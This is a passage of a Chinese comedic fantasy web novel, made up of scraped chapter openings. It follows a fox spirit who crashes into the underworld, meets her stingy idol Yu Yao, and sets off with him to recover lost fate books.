《三界追星图鉴》 1. 天降福祸 《三界追星图鉴》全本免费阅读 初见男神本尊便当场社死是种什么样的体验? 小狐狸阿宋的回答是,哭笑不得。 一切还要从五日前说起,那日清晨,妙闻坊还未开市,阿宋和一众姑娘就已等在门前。 这妙闻坊,乃是人界一个十分受欢迎的话本坊,妙闻妙闻,收藏传播天下奇闻,说白了,就是个八卦集合地,把三界那些鬼啊妖啊兽啊的奇闻逸事、美谈佳话都给你收录其中,再编成话本,讲给普罗大众。 要说这话本坊的特别之处嘛,就是这妙闻坊除了讲话本以外,还擅于将这话本中的主角们也一并带火,再借这大火之势,推出一些主角们的同款器物,什么画像啊、木牌啊,还有什么整理出来的话本主角们的金句簿啊,样式做得丰富又精致,惹得人界一众姑娘们追捧购置。 而这妙闻坊近日,最为热门的话本故事便是这“鬼郎迎亲”了,这位鬼郎,便是阿宋和一众姑娘倾心之所在。 话本有云:地界有一鬼郎,喜服着身,俊朗挺拔,奈何桥上,相侯千年。 展开来说,就是有个俊朗的男子,做鬼做了两千余年,衣着红喜服,在奈何桥上等着迎娶自己的心上人等了千年也情深不移。 明明是个俗套的不能再俗套的爱情故事,这妙闻坊却有点包装的本事,短短不过三个月,便将这鬼郎故事流传甚广,这鬼郎在一跃超过以往榜首的月下仙人、香师慕恩成为坊间名流,直登上妙人榜首位。 妙人,指的就是这些话本角色,而越是受多人喜爱的话本角色,越是能登上妙人榜的高位。 阿宋和其他人清晨就等在此处的原因,便是要赶在这妙闻坊开市的瞬间闯入其中,购买这鬼郎的画像。 还有不到一盏茶的功夫开市,妙闻坊门口就已围得水泄不通,阿宋挤站在人群还算靠前的位置,隐约听到身边有人在讨论:“你也喜欢鬼郎嘛,我也是我也是!”“他的金句簿老娘今日势在必得!”“听说要出鬼郎的新话本了你知道嘛我好期待喔。” 阿宋正探取对手“内幕”探取得认真,突然,妙闻坊大门开启,门口守卫大喊:“妙闻坊,今日开市!” 此话一出,此门一开,明明上一秒还站聚在人群中互相害羞嘻笑的姑娘们,仿佛瞬间变身豺狼虎豹般,一边大吼着买啊!一边冲进了妙闻坊中。 阿宋被冲了个措手不及,她身型并不算高,整个人都被人群挤得双脚腾空起来。 直到门口一窝蜂人都冲了进去,守卫正要也跟着进门去,刚一迈步,突然感觉脚腕一紧,他一低头,看到阿宋正趴在地上,手里攥着他的脚腕,鼻下两条鼻血,颤声道:“等、等、等一下,还有我!” 守卫:??? 居然被挤趴下了?!战斗力还是不行啊妹妹。 多亏这位守卫热心相助,阿宋被扶起后擦干鼻血踏进了门,进门朝右一望去,大多数姑娘看样子都已经采购完毕,从挤在大门变成了挤在账房柜台处。 再朝左面望去,柜台上果然已经被抢购一空,阿宋不死心地凑到柜台前左右看了看,画轴、木牌、金句簿都已经空了。 阿宋叹了口气,转身迈步欲离开,刚一转身,就感觉脚下踩到了什么,她低头捡起,发现居然是个小画轴,再一展开,红衣喜服的男子身姿瞬间映入眼中,阿宋大喜。 居然捡漏了! 费了半天劲才结账出了门,阿宋一出门就忍不住又将那画轴打开欣赏。 只见那画像中的男子一头微卷墨发,以两支金羽饰物轻别于耳后,双手交叠于胸前,身子微微前倾做拱手礼,而那俊美的脸庞之上,一双丹凤眸微微眯起,唇边笑意和煦温暖,显得十分平易近人。 而画轴的最下面,用秀逸的笔墨写着“喻遥”二字。 捡漏的喜悦难抑,阿宋忍不住抱着卷轴在脸上蹭了蹭,嘿嘿笑道:“喻遥男神我终于抢到你啦。” 谁知,她美滋滋还不到三秒,突听到砰地一声,还来不及反应过来这声音来自何处,她脚下就传来踏空之感,嗖地一下,在来往路人的眼中,她就在地面上消失了。 接踵而至的是强烈的失重感,阿宋方才意识到,刚那一声响正是源于自己脚下,而她此刻正处于急速下坠的境地之中。 如果对于其他兽族来说,面对此景,只需运转周身灵息,方可于空中稳住身形,停止下坠。 可是阿宋偏偏是只爱偷懒,学艺不精的小狐狸,记得她还是兽形之时,豢养她的小道士便一心盼望她通人智早些修成人型,好在那寂寥的雪山道观,多个陪自己说话的人,只可惜,小道士熬成老道士,再到升天,也没能等到阿宋变成人形,倒是在那道士作古多年以后,阿宋才勉勉强强修得个人型,但灵息修炼依旧照寻常兽族,差得一批。 眼下,以阿宋的微薄灵息,想于空中稳停住身形怕是不可能的了,所以,一番短促思考过后,阿宋唯一能做的,就是在空中调转了个姿势,让自己看起来最抗破坏的屁股最先着地了。 一声巨响,四周尘雾飞扬,淹没了已成功落地的阿宋。 阿宋被尘雾呛得直迷眼,躺在地上一手在空中挥舞几下打散眼前雾气,待睁开眼时,映入她眼帘的是夜幕星空,她当下心中疑惑:这?刚不是还红日当头吗?怎么突然就星云密布了? 她撑起身子坐起来,第一反应是去确认画轴,见画轴还被她攥在手中,立即放心了。 突然觉得臀下有些咯着,她顺手摸下去,从右臀下拾起一块木牌,上面写着“可桥”。 这桥的名字起的真是够潦草简单的哈! 再一摸左臀下,诶?怎么好像还有块木牌,捡起来一看“奈亻”。 这是什么?拼起来看看? 两块木板合一,她一字字念读道:“奈、何、桥、奈何桥?!这里是奈何桥!这里是地界???” 阿宋一口凉气还没倒吸完,就听身后响起一男声:“请问阁下,还要在我这奈何断桥上,呆坐多久?” 这人声线虽清澈平和,语气却又十分冷淡隐隐让人觉得有距离感,阿宋循声回首,自下而上抬头望去,见一颀长挺拔的红色身影,左手持本书籍,右手持根毛笔,而待她看清那人容貌后,霎时呼吸一滞。 眼前这人,竟与她那男神喻遥容貌一模一样! 不过,还是有些微妙的区别的,譬如穿着、神态。 眼前男子虽着红服,却非喜服,而是穿得一件血红色的纱袍,内里白衣交领处绣着两朵暗红蔷薇,衬得神态之上,不似鬼怪,更似妖魅,表情更说不上似那画像上一般看起来如春风般和煦,硬要说的话,倒是有点如阴风般诡异。 但阿宋低头看了眼手中那两块断裂的奈何桥牌,一模一样的脸,又出现在此地,难道他真的就是喻遥? 毕竟之前所闻,皆出自话本,总会与本人有些出入。 男子见阿宋半天不应声,又道:“哦,忘了和您介绍,在下是地界掌管账目统算的灵官,喻遥。” 得到了肯定回答的阿宋瞬间激动了,一时之间磕巴道:“你、我,喻、喻、喻...” 喻遥皱眉道:“喻?我的名字有什么吗?” 阿宋正要答话,却忽然表情一滞,她朝周围望去,发现原来不只自己手里的木牌被弄断了,而是这整座奈何桥似乎都因为她这一坠,断成了两节,半陷于河中,她又想到刚喻遥搭话时说的“我这奈何断桥。” 阿宋猛吸一口气。 天啊!她都做了什么?初次见面就把男神待的桥砸了吗?她可真是当场钻进这断桥缝的心情都有了! 再看喻遥面无表情的脸,阿宋猛地意识到,似乎此刻并不是一个向男神诉说情深意切的好时机,于是她灵机一动接道:“遇到事了!” 喻遥愣了一下,继而展颜笑道:“说的不错,您,正是遇到事了。” 喻遥并未注意阿 2. 滤镜破碎 《三界追星图鉴》全本免费阅读 在地界久居的人通常分为两种体质,一种称为灵身,顾名思义,乃是地界之内由地脉自然孕育而生的灵者家族衍生出的后代族人,而另一种则是在人界、兽界肉身消亡后所化出的魂魄,飘向地界参与轮回转生的人者和兽者,其称之为魂身。 地界灵官常由灵者家族出身之人经过擢选后担任,喻遥作为一只鬼魂,长久以来,是地界自创界始,唯一一位以魂身入灵官官职之人,但此事知晓之人甚少,甚至知晓他为鬼魂之身的人,也并不占得多数。 可阿宋并不觉得这是一个多么天大的秘密,因为在人界,妙闻坊讲述喻遥的话本不知道传遍整个国家的几个城市了,但凡你听过这话本一次,你就会知晓他的鬼魂身份。 阿宋正暗自疑惑他这疑问所出为何,就见眼前的喻遥见她不答,又上前朝她踏近了一步,喻遥的身躯比她宽阔高大出许多,霎那间她就感觉眼前被巨大的阴翳遮蔽,再一抬头,正对上喻遥那双黝黑又危险,带着拷问意味的眼睛,仿佛是他一个绝对不该被别人知道的秘密被她意外发现了。 阿宋下意识吞咽了下口水,感觉自己刚被捋顺的汗毛愣是又立了起来, 这时喻遥又开口道:“嗯?为何不答?” 阿宋眼睛一瞟他身后,看到他背在身后的手掌指间已开始运行灵息,当下再也顾不上遮掩其它,只得两眼一闭,心一横大声吼道:“因为你很有名!” 她这一吼,反倒是喻遥怔住了,下意识反问道:“你说什么?” 阿宋急道:“真的!你非常有名!你是妙人榜第一,人界有很多讲你故事的话本,你的美谈传的远近闻名,你的画像你的金句簿只要一经兜售迅速售罄,所以...所以我才知道你是魂身。” 喻遥听后眉毛瞬间就拧起来了,也不说话,手捏在下巴上独自思索了会儿又问道:“关于我的传闻,讲的是什么内容?” 阿宋一听立刻来劲了,这不是问对人了吗?要知道喻遥的话本她已经听了不知道有几万遍了,她手放在下巴前轻咳两声,学着话本先生的姿态道:“这个,在很久很久以前...” 喻遥打断道:“请讲重点。” “呃。”阿宋道:“好吧,其实大概的故事就是说你成了鬼之后,对自己的旧情人念念不忘,于是在奈何桥上每日等待爱人等了三千年也不放弃,有很多人都为你的深情感动不已,所以对你极其着迷。” 讲完以后喻遥又不说话了,阿宋在旁也不敢开口,只好鬼鬼祟祟地没事就偷瞄喻遥一眼,见喻遥手捏在下巴上,似乎在思索什么,在一旁缓缓踱步,突然想到什么似的,抬头看向她道:“那你该不会也?” 阿宋脸一红,双手连续摆手道:“不不不,我没有我没有。” “哦。”喻遥颔首道:“那是最好。” 阿宋张大嘴:“啊?” 喻遥道:“因为,你刚才所讲的那些关于我的传闻,都是假的。” 阿宋道:“假的?怎么可能?” 喻遥一边整理衣服,一边淡淡道:“嗯...其实也不算全假,但绝大部分都不是事实,比如你刚所说那一堆,唯一真实的就是我确实在奈何桥上待了两千余年,只是我并没有什么念念不忘的旧情人,也不是什么等待爱人的大情种。” 喻遥抬起头,似笑非笑地盯着她,手指在她额头轻点一下道:“你被骗了。” 这一点戳,刹那之间,阿宋感觉自己犹如被雷劈了一般的震撼,也是,还有什么比被传闻本人辟谣更为震撼的操作吗? 阿宋道:“那为何会有如此传闻出现。” “我怎么知道。”喻遥摊手道:“不过,如此不经过事实考量就轻易听信传闻,从而付出金钱感情的行为在我看来实在不算高明,甚至有些愚蠢。” 喻遥扭头看向她,微笑道:“不过还好,你只是听说而已,对吧?” 对对对...对个鬼啊!! 阿宋感觉自己心都在滴血,喻遥所说的“愚蠢”“不高明”宛如嗖嗖两支长箭一左一右射中了她的膝盖一样好吗?! 喻遥道:“既然无事,那我们便继续行进吧。” 不晓得阿宋内心的喻遥在前面走的不紧不慢,但身后的阿宋心态就没这么轻松了,失去了深情人设滤镜的喻遥,现在在她眼里看来格外的不顺眼。 但她又突然想到了喻遥的魂身之事,其实,阿宋平日里除了看一些乱七八糟的故事话本,也经常会看一些三界各处的杂记图志,她曾了解过,地界灵官多数由灵身之人担任,那么喻遥一个魂身,能够成为灵官,必定还是有他的特别之处的。 思量间,突听前方的喻遥道:“到了。” 阿宋闻声抬首,入眼即是一座气势直入云霄的摩空高阁,此地已是地界的月穹深处,在深沉夜幕之下,仍然灯火通明,熠熠生辉,粗略一看高约十层的高阁顶层,挂着块镶金匾额,写着“揽星阁”三字。 喻遥做了个指引的手势,阿宋立刻跟上,二人进入揽星阁内,阁内一层宽阔明亮,四周壁画装饰和浮雕花草长柱看得人眼花缭乱,只是,却不见,连接二层及以上的阶梯。 喻遥走到中心的一块空地,闭眼默念一串咒语,而后一手在面前画了个圈,霎那间,那什么都没有的空地间,便立现了一面比人都高的,泛着灿金光辉的巨大圆镜。 喻遥转身看阿宋,又朝那圆镜一扭头,示意她走近。 阿宋慢慢走近,镜子内却并没有映现出她的样貌,而是一片什么都没有的空白虚无,她还没反应过来,就感觉一只冰凉的手在自己背后轻推了一下,她整个人便朝着那镜面跌了过去。 并无预想中的碰撞,阿宋跌过去后,而是似乎进入了一个新的空间,她低头看向脚面,看到脚下画着金色迹样的符文。 这时,喻遥的声音又在身后响起:“不必担忧,此为移镜,是揽星阁内用于层级移动的法阵。” 阿宋回首,看到喻遥已紧随身后,与她一同踏入了法阵。 阿宋哦了一声,喻遥走到她身侧与她并肩而立,随后又将自己的书卷与毛笔变换出来拿在手里开始记录什么。 阿宋偷瞄了一眼,哦,原来是账本。 符文泛光,法阵运行,阿宋问道:“我们要去见谁?” 喻遥忙于在书卷之上奋笔疾书无暇抬头,淡淡回道:“判官大人,他在楼阁顶层。” 忽然听得砰地一声,法阵剧烈的晃动了一下便似乎停住了,喻遥这次不得不放下笔抬头了,喻遥向前走了出去,阿宋也跟上,二人踏出移镜。 一走出去,阿宋就看到了块立牌,上面写有饕餮二字,阿宋疑问道:“到了?” 喻遥叹了口气,说道:“没有,是移镜又坏了。” 阿宋:“?” 喻遥垂下手,向旁边转弯处走去,边走边道:“算了,既然来了,也一并介绍一下。” 二人走过拐弯处,视野霎时变得开阔起来,眼前场景似极人间的街头饭馆,只是地盘要大得多,空间内设有多处木桌,有形形色色的人在桌前用膳。 喻遥带着阿宋穿过这片区域向里面走去,路上有经过的人进食间隙抬头,看到阿宋和喻遥的瞬间立刻就又低下了头。 阿宋:“?” 喻遥视若无睹,静静道:“揽星阁一共十层,其中八层是灵官们处理公务的区域,还有一层为膳食厅,也就是我们现在到的这个地方,除了最底层,其余九层以龙生九子之名命名。” 阿宋笑道:“那怪不得这层叫饕餮了,名字起的很是合适呀。” 喻遥看了她一眼,二人走到了最里面,阿宋一看摆设,很明显这就是伙房了,做饭的师傅个顶个的壮实,大臂狂抡炒勺锅铲,三下五除二一碗小炒便出锅装盘。 喻遥刚要开口,阿宋就道:“我知道,这里是伙房对不对,以后就到这找饭吃。” 喻遥道:“是伙房不错,但我是想提醒你,你也可能会被安排到这里做工。” 阿宋:“......” 喻遥微笑道:“不过你这个身板,炒菜是不太可能了,倒是可以做点别的杂活。” 无视阿宋下巴掉地的模样,喻遥转身慢慢往回走了。 再回到移镜之内, 3. 判官揽星 《三界追星图鉴》全本免费阅读 面前被两片松散着的巨大帷幔遮挡住视线,有风吹过,透过间隙隐约见得帷幔之后不远处散发淡淡光芒。 喻遥示意阿宋上前,阿宋双手扒开帷幔,迈着探索般的步伐向前走去,越走越觉得眼前视野愈发明亮,直到遇见那光芒源头,才知,那不是别的,正是透过楼阁空窗照进来的一轮十五之满月。 而那满月之下,空窗之侧,正站着一位长身玉立凝望月景的男子,清辉洋洒之下,一头银发皎皎,一身白袍如雪,虽未见容色,但已觉气度不凡。 想必这就是那位传说中的揽星大人。 那男子似看得十分沉浸,连身后来了人也未曾在意。 阿宋试探开口道:“揽星大人?” 银发男子闻声略有微动,却不转身,音色柔和,道:“是何人?” 阿宋猛地一鞠躬,牵动有些干涩的嗓子道:“大人你好!那个,我叫阿宋,我刚不小心砸了奈何桥,但我不是故意的,我...” 许是因为心虚,阿宋说话的音量极小,银发男子听不清,只好转过身来向她走近。 一双白色的鞋出现在阿宋的视野里,她慢慢抬起低着的头,视线从那双鞋渐渐上移。 而待看清那男子长相之时,阿宋好些没一口气背过去。 妈耶!怎么这么丑! 其实,真的不是阿宋对容貌要求高,只是这揽星的脸生得实在奇怪,你若单论他的五官吧,尚还都看得过去,只是他们凑在一起多少就有些奇怪了,因为,他的五官莫名有种约好了要在鼻子一处开会般,紧密地聚在一起,显得整张脸的地盘消耗颇少。 “咦?”揽星见她住口,弯下腰一脸笑嘻嘻道:“你怎么啦,小姑娘?” 阿宋情不自禁地后退了一步。 揽星:“......” 阿宋心中有个小人狂吼道:说好的惊艳绝伦呢?!说好的貌美无暇呢?!就这?!就这?! 这时,喻遥也推开帷幔从身后走了过来,看到了一脸惊恐的阿宋和满脸笑嘻嘻的揽星,当即知晓情况般叹了口气道:“大人,说过很多次了,您见人的时候最好换一张脸,这已经不知道是被您丑到的第几个姑娘了。” 揽星站直身体:“阿遥,你这样说就不对了,我不是教过你吗?做人要诚实!待人要尊重,用本容见人才能体现我对大家的尊重嘛。” 阿宋欲哭无泪,呜呜呜呜,或许大人你也可以不那么尊重我的。 还有,竟是完全没有否认自己长得丑的事实吗?! 诶?不对? 阿宋回过神,突然意识到似乎自己此后一段时间的命运都将被这位丑大人安排,眼睛一溜转,急忙上前一步在旁狗腿道:“蛮好的蛮好的!而且这样至少说明,揽星大人,没有容貌焦虑。” 喻遥:“......” “是呀。”揽星满意点头道:“这位姑娘说的很是不错。” 喻遥无语地看了两人一眼,开口道:“大人,我是有关于这位姑娘的事情要禀报。” 揽星举手一拦道:“先不急,我有更紧急的事情和阿遥你说,还有,不要叫我大人。” 喻遥道:“是何事?” 揽星想了想,道:“此事,或许需要你此番去趟人界。” 喻遥果断道:“不去,我的账目还没整理完。” “你必须去。”揽星又道:“这件事只有你去最为合适。” 喻遥与他对视,像是意识到什么,道:“难不成是...” 揽星颔首道:“不错,那些命簿,已有下落。” 喻遥登时就有些激动,但又很快恢复平静道:“在哪?” 揽星道:“是我前几日去人界处理事情时,从南悦城那边的人间灵使那里听说的,据说近日那边的黑市集里,有人在卖这个东西。” 喻遥道:“确定无误?” 揽星道:“绝对无误,我再三确认过。” 喻遥手捏在下巴上思索了一会儿,道:“好,那我明日便出发。” 揽星笑道:“好。” 两人接着对视良久,但都不说话,揽星眯着眼笑道:“嗯?还有什么问题?” 喻遥朝他伸出一只手,道:“往来人界的灵力补贴批文,先给我。” 揽星惊道:“还要补贴?” “自然。”喻遥静静道道:“往来两界的住宿餐食,往返交通要耗费的灵力补贴和银两不都是钱?” 揽星小声嗫嚅道:“但这毕竟是你自己的事...” 喻遥道:“那我请问揽星大人,那些命格簿是谁弄丢的?不如我现在就去曜旸宫找地君他老人家...” “好好好!”揽星大声无奈道:“都给你都给你。” 喻遥满意地笑了。 又过一会儿,喻遥又伸出食指在他面前。 揽星道:“还有何事?” 喻遥道:“我还需要一个助手。” 揽星咬牙切齿道:“你还想要助手?” “当然!”喻遥摊手道:“你是知道的吧?魂身体质若出了地界,在白日里是灵息受限的,纵然我入夜灵息便会恢复,但白日我若遇到麻烦,要如何保全自己?” 是这样的,魂身体质虽也可以进行灵息修炼,且不乏灵息高强之人,但一旦走出地界,在白日再强的人灵息也会受限,仅仅能使出微薄,只有在日落西山之后体内灵息才会渐渐恢复,所以喻遥的担心不无道理。 阿宋在旁默默听着二人谈话,感觉自己此行地界一遭知晓了很多新的八卦,比如地界的判官工作失误,居然弄丢了对转世之人极为重要的命簿,还有妙人榜第一的喻遥,不仅不是大情种,居然还是个彻头彻尾的钱串子! 不过那揽星说是喻遥自己的事情,这命簿和他又有什么关系呢?他不是管钱的吗?还管地界户口? 揽星道:“我上哪给你弄人去,最近各层都很忙诶!” 喻遥道:“刑务司那边,给我找个人。” 揽星咆哮道:“刑务司没有人哇!” 喻遥道:“再不济从财计司来个人也行。” 揽星接着咆哮道:“财计司也没有人哇!” “阿遥啊。”揽星背过手道:“其实有些话我真的没好意思说,我这边收到好多关于你的投诉了,大家都说你克扣补贴,当面说你又会被你记仇,先不说有没有空,就是都有空,你要是让我给你找人,估计想跟你去的也没几个。” “噗嗤。” 喻遥和揽星同时转头,阿宋急忙捂住没忍住笑出声的嘴,不好意思开口道:“哈哈,没事,你们继续,继续。” 揽星眯起眼看了看阿宋,终于想起了旁边还有这么个人,道:“咦?阿遥,你刚才说想和我说这位姑娘的什么事来着?” 喻遥冷漠地瞥了眼阿宋道:“她啊,把咱们地界的奈何桥砸塌了,没有钱赔,说留下做工还钱,找你安排个干活的地儿。” 揽星惊道:“奈何桥塌了?怎么塌的?” 阿宋一脸尴尬,挠挠头道:“我不知怎么就掉下地界来了,然后就,坐塌了。” “哦,那可能是两界灵脉波动,其间产生的裂缝,被你踩中了,不过...” 揽星背着手绕着阿宋转圈看,像是突然想到什么,眼睛一下子亮了,握拳拇指朝阿宋一指,歪头朝喻遥道:“诶?这不就是一个完美的助手吗?” 喻遥指着阿宋,道:“她?” 阿宋也指着自己,道:“我?” 揽星道:“对呀,如此所见,这位姑娘完全可以保护你呀。” 如此所见? 怎么见的?我怎么看不见? 阿宋急 4. 暗藏玄机 《三界追星图鉴》全本免费阅读 她流连的,正是那桌子上放着的一碟佐茶糕点。 喻遥似有所觉,淡定从怀中掏出算盘抖了抖,唰啦一响,阿宋瞬间转回了头。 阿宋长叹一口气,回想这一路,当真是见识了喻遥的抠门功力,远的就不提了,就说昨日,他二人歇脚时在一处面摊用餐,只因她那碗阳春面多点了只鸡蛋,结账时就被喻遥不轻不重地瞪了一眼。 简直想给他颁一个三界第一抠门精的奖!! 然而对此,喻遥却有别样见解,出行不到三日,他便深刻意识到身旁这只馋狐狸的需求果然不是空穴来风,他自道鬼界过活数载,什么撑死鬼,饿死鬼见得也是多了,却没见过如这馋狐狸般能吃的,一条长街,这狐狸走几步就饿,逢摊必吃。 其间在阿宋无数次购买食物之时,喻遥向其发射的眼刀阿宋都接收失败之后,他终于忍不住发出疑问道:“你确定你本体是狐狸,不是猪?” 彼时阿宋正香喷喷啃着手中的油炸糕,根本没听清,问道:“你说什么?” 哎!算了! 喻遥手摸了下二人日渐空瘪的钱袋,想了想,看来...有必要采取点措施了。 他不动声色,背起手来,浅浅一笑道:“小狐狸啊,大人问你,你知道,你要给地界打多少年的工才能还清修奈何桥的钱吗?” 阿宋顶着一嘴油,有点懵地道:“多,多少?” 只听刷啦一声,喻遥的左手便不知从何处变出一个算盘。 紧接着他那手指便在算盘上连续拨动个不停,停顿下来后,露出满意的笑容,道:“根据我的计算,小狐狸,在揽星大人给你打折的基础之上,你还要给鬼界打三万五千八百六十七年二十三天零八个时辰的工,而你手里这只炸糕,会在这个基础上再加上三天零四个时辰。”“哎呀,贪一时口腹之欲,添三日劳碌苦工啊!”喻遥一边说一边扶额摇头,满脸替人感到十分不值的模样。 阿宋感觉自己这口炸糕是咽不下去了。 许是喻遥的“分析”十分有道理,阿宋方才意识到了眼下困境,巨债临头,账单狂撵,思来想去也只好委屈了自己这张小嘴。 而这讨厌的喻遥生怕她忘记,没事便抖抖他那算盘以作提醒。 啊啊啊啊啊啊,真是太讨厌了! 总之,一馋狐狸,一抠门鬼,吃吃喝喝抠抠搜搜,历经五日,他二人总算是到了这南悦城。 一进南悦城门,便是条望不到头的十里长街,南悦人士精于经商,也擅于享乐,整条长街,佳肴茶饮,唱曲游乐,商铺小店,比比皆是,看得人眼花缭乱。 阿宋四周望去,见街边早茶馆内蒸屉盖得老高,馆内小二一掀笼盖,轻烟热气便自笼中飘出,鲜香气味扑鼻诱人,小二跑走着去给客人端上样式精致的点心,馆内人声热络,馆外满街小贩的吆喝声和顾客议价声交织混杂,除此之外,亦还见得,有那布衣坊前站着的姑娘对着手镜描眉修妆,有路过的男子打趣道:“春娘又打扮哪,莫不是今晚要去见心上人?” 那春娘当即回道:“去你的别乱说!”脸上却是藏也藏不住的羞怯。 此番烟火气,喻遥却无暇顾及,取出出发前日揽星给的信息卷轴,自顾念读道:“经人界灵使确认,南悦城境内有一男子,违规摆摊私自售卖命格簿,其行踪诡异,尚未确认具体方位......” 还未看完,就听到阿宋大喊:“大人大人,你看这个!” 喻遥抬头,阿宋不知何时已从他身后窜到街边一间布衣坊前,手里还拽着那店前作展示用的一件白色裙袍一角,冲他一脸兴奋道:“你看这个好不好看?” 喻遥心道:好啊,不看吃的,现在你又开始看穿的了。 那春娘听到声音放下手镜,捻着手绢走了过来,冲二人笑道:“看衣服吗?新季上新,很多衣服都很优惠,走过路过,不要错过呦。” 阿宋嗯嗯嗯地忙不迭点头,学着春娘的语气冲着喻遥说:“不要错过呦。” 喻遥一脸莫挨老子的模样,春娘却只道是个冷面帅哥,心中欢喜,面上更是笑得花枝乱颤道:“公子喜欢哪款?我拿出来给您看看?” 和喻遥的冷面相比,阿宋的笑脸倒显得热情多了,她放眼扫视店门口这几套都觉得品相欠缺三分,再一眼看到店里面正中央挂的一件箭袖袍,脸上笑容当即更大了,抬腿就要往店里进。 喻遥眼疾手快一把拽住她后脖领整个人捞回来,怒道:“你给我回来!” 阿宋委屈脸,指着春娘说:“她说优惠诶,我们买一件嘛,就一件,很便宜的诶。” 春娘跟着学:“很便宜的诶。” 喻遥:“······” 喻遥才不管她说什么,拽着她手腕就走下店门口的台阶,烦躁道:“别废话,不买,快走。” 已被购买欲冲昏头脑的阿宋,双手紧握喻遥手腕,半蹲地整个人身子往后拖:“买吧买吧。” 阿宋怎么拽也不听,更似要有撒泼打滚之势,喻遥一着急手中握着的卷轴差点被甩飞。 喻遥一时气急,胳膊一甩,大吼道:“你烦不烦,你怎么什么都想买,都说了我们没钱不能乱花!” 他这一嗓子极具泼辣且中气十足,平日里绷着的温文形象骤然崩塌。 阿宋坐在地上,被吼得愣住了,半晌说道:“哦,那不买了。” 她答应的干脆,人却不动,从坐着变成蹲着,手指不停在地上画圈圈。 喻遥:“······” 周围的路人都被他俩这番争执声吸引目光来,紧接着又毫不在意当事人看没看见的就开始议论纷纷。 喻遥脸上青一阵白一阵,再看向蹲地的阿宋,一瞬间觉得自己颇像那抠门不愿给孩儿花钱的爹娘。 他扶额叹口气,斜眼一瞥阿宋全身,见她松垮地绑着马尾,穿着的衣服也是垮大不合尺寸的,再一细看,那衣服属实是有些破旧了,这笨狐狸不知道从哪里搞来的这一身粗布麻衣,破烂丑陋的要命,且自那日奈何桥事变后,她这身衣服沾了尘土也未清理,看着确实像个穷苦人家出来的可怜小孩。 哎!真是输给你了! 喻遥无奈道:“走吧,别画圈了,带你买衣服去。” 阿宋不抬头道:“不去了不去了,贵。” “走吧走吧。” “不了不了,浪费钱。” 阿宋这话确实真心,到喻遥耳里却觉得夹杂一丝阴阳怪气。 嘿!倒显得他花钱大手大脚了! 他一把提起阿宋的领子站起,恶狠狠道:“我说,买!” 二人踏进店内,阿宋转了一圈,最中意的还是店中间摆的那件蓝色箭袖袍,但依照它摆放的位置就可知,不仅衣服漂亮,价格肯定也很漂亮,她偷瞄喻遥的脸色,试探道:“要不买门口那件白色的?那个最便宜。” “白色寡淡,你性子活泼,不适合。”喻遥抱臂在一边靠站着,指了下那件蓝色箭袖袍:“那件吧,远天之蓝,清新纯粹,更适合你一些。” 阿宋心中大喜,但嘴上仍道:“但是好像会很贵。” 喻遥一脸懒得废话,只道:“让你买,就买。” 阿宋狂喜,铁公鸡居然拔毛了! 这时,突闻一女声响起:“公子眼光甚是不错,这件衣服正是最近新上一批里最好看的一件。” 阿宋喻遥循声回头,见一衣着朴素的女子从后室走出,容貌已微显年纪,全身气质却娴静端庄,看得出年轻时定是位十足的美人胚子。 春娘立刻上前亲呢地挽住那女子手臂,唤道:“黎娘,你出来啦。” 黎娘冲她笑笑,向阿宋喻遥行了一礼,开口道:“在下黎娘,是这家布衣店的店主。”又拉了拉春娘的手 5. 命簿初现 《三界追星图鉴》全本免费阅读 那黎娘瞬间惊慌起来,立刻上前一把拉了门闩关上,又推开旁边门道:“是这里!” 阿宋朝里一望,这新推开门的才是刚刚换衣服的房间。 原来,这后屋曾经过改造,改造的方式便是在房屋内又单独砌了堵墙,将原本房间一隔为二,一间做了更衣室,一间做了灵堂,阿宋不知此故刚随意一推,自然没注意推得是哪边,便开错了门。 黎娘道:“妾身早些年家中有亲人亡故,多年来心中始终无法忘怀,便在自家中寻了个小房间私设了灵堂,平日闲时会在此处为亲人诵读佛经,以作祈福,没想到,刚不小心吓到阿宋姑娘了。” 语罢便鞠了一躬。 阿宋急忙连续摆手道:“这是哪儿的话,明明是我莽撞误闯,打扰到您的家人了,是我该说抱歉的。” 黎娘摇头浅笑,示意无妨。 几人说话间店内又进了人,看穿着不是客人应当是当地衙役,黎娘冲二人歉意一笑,迎上去招呼道:“大人来买衣服?” 那衙役看着没什么架子,反而很亲切,语气熟稔开口道:“哦不不不,没那个钱哈哈哈,我是按照海大人的吩咐,来嘱咐一下各家的,晚上啊,要注意下门窗防盗,尤其是近日一定要格外小心,家里门闩一定要关紧,半夜有人敲门,最好也不要开。” 黎娘小声道:“是发生了什么事?” 衙役长叹了口气,一副很头疼的样子,道:“最近南悦城啊,出了采花贼了,都有两家姑娘被害了。” 旁边的春娘给倒了杯茶水,惊道:“这么嚣张,那有贼的踪迹了吗?” 衙役道:“还没有,说来也是奇怪了,这贼来了两趟,每次出事后都赶上恶劣天气刮邪风,那风大的,连屋顶瓦片都给你吹翻起来好几层,这大风一刮,什么蛛丝马迹也给刮没了,大大影响我们办案速度,所以这不才提醒你们姑娘家,让你们预防一下。” 黎娘行礼道:“多谢大人了。” 没多会衙役便离开去通知下家了,喻遥从钱袋内取出银两递给旁边的春娘,道:”那我们差不多也该告辞了。” 阿宋跟上喻遥,出门前不经意间瞄了眼黎娘,见她视线追随着喻遥,眉头蹙起,手抬了抬又放下,似要开口但又好像很纠结,直到他二人彻底走出店外,走到长街上,黎娘也未开口叫停住他们。 阿宋转念一想,美男嘛,总是会多吸引一些目光的。 鼻子猛地一痛,原是撞上了走在前面突然停下的喻遥,她揉了两下鼻子道:“怎么突然停了?” 喻遥手抵在下巴上,思索半晌道:“你有没有觉得那个黎娘有点奇怪?” “有吗?”阿宋道:“我感觉还好啊。” 喻遥道:“我总觉得那灵堂有点问题,她的表现也让我觉得有点奇怪。” 阿宋道:“你不要把人想的太坏嘛,人家不都说了,是悼念亡亲用的嘛。” 喻遥垂下背过手,继续向前走,道:“是你把人想的太好,她的店位置在城中心,是整个城内阳气最为丰盛之地,在这儿弄这些东西,你怎么知道她不是在弄些什么损阳气的祭祀邪术?” 阿宋心中腹诽道:好好好,就你想得周全,口中却道:“啊...反正不管有问题没问题,不碍着我们的问题就行了,对吧。” 喻遥满意笑道:“这说的倒是有点道理。” 阿宋嘿嘿一笑,突然想到什么,又道:“对了,那个采花案,我们要不要查一下啊?” 喻遥皱眉道:“为何?” 阿宋道:“那衙役说每次都刮邪风,但南悦这地方,四季无风无雨无雪是出了名的,突然刮起这么不寻常的大风,没准是有邪物出没也不一定呢?” “哦。”喻遥陷入思考,开口道:“所以,这和我们找命格簿有什么关系?” 